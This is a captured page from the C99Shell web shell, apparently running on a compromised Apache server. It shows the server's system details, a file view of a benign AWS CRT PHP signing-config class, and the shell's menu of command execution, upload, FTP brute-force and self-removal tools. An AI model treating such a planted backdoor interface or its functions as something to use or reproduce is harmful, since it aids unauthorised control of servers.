!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/aws/aws-crt-php/src/AWS/CRT/Auth/   drwxr-xr-x
Free 13.11 GB of 57.97 GB (22.61%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SigningConfigAWS.php (2.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
 * SPDX-License-Identifier: Apache-2.0.
 */
namespace AWS\CRT\Auth;

use 
AWS\CRT\NativeResource as NativeResource;
use 
AWS\CRT\Options as Options;

class 
SigningConfigAWS extends NativeResource {

    public static function 
defaults() {
        return [
            
'algorithm' => SigningAlgorithm::SIGv4,
            
'signature_type' => SignatureType::HTTP_REQUEST_HEADERS,
            
'credentials_provider' => null,
            
'region' => null,
            
'service' => null,
            
'use_double_uri_encode' => false,
            
'should_normalize_uri_path' => false,
            
'omit_session_token' => false,
            
'signed_body_value' => null,
            
'signed_body_header_type' => SignedBodyHeaderType::NONE,
            
'expiration_in_seconds' => 0,
            
'date' => time(),
            
'should_sign_header' => null,
        ];
    }

    private 
$options;

    public function 
__construct(array $options = []) {
        
parent::__construct();
        
$this->options $options = new Options($optionsself::defaults());
        
$sc $this->acquire(self::$crt->signing_config_aws_new());
        
self::$crt->signing_config_aws_set_algorithm($sc$options->algorithm->asInt());
        
self::$crt->signing_config_aws_set_signature_type($sc$options->signature_type->asInt());
        if (
$credentials_provider $options->credentials_provider->asObject()) {
            
self::$crt->signing_config_aws_set_credentials_provider(
                
$sc,
                
$credentials_provider->native);
        }
        
self::$crt->signing_config_aws_set_region(
            
$sc$options->region->asString());
        
self::$crt->signing_config_aws_set_service(
            
$sc$options->service->asString());
        
self::$crt->signing_config_aws_set_use_double_uri_encode(
            
$sc$options->use_double_uri_encode->asBool());
        
self::$crt->signing_config_aws_set_should_normalize_uri_path(
            
$sc$options->should_normalize_uri_path->asBool());
        
self::$crt->signing_config_aws_set_omit_session_token(
            
$sc$options->omit_session_token->asBool());
        
self::$crt->signing_config_aws_set_signed_body_value(
            
$sc$options->signed_body_value->asString());
        
self::$crt->signing_config_aws_set_signed_body_header_type(
            
$sc$options->signed_body_header_type->asInt());
        
self::$crt->signing_config_aws_set_expiration_in_seconds(
            
$sc$options->expiration_in_seconds->asInt());
        
self::$crt->signing_config_aws_set_date($sc$options->date->asInt());
        if (
$should_sign_header $options->should_sign_header->asCallable()) {
            
self::$crt->signing_config_aws_set_should_sign_header_fn($sc$should_sign_header);
        }
    }

    function 
__destruct()
    {
        
self::$crt->signing_config_aws_release($this->release());
        
parent::__destruct();
    }

    public function 
__get($name) {
        return 
$this->options->get($name);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0106 ]--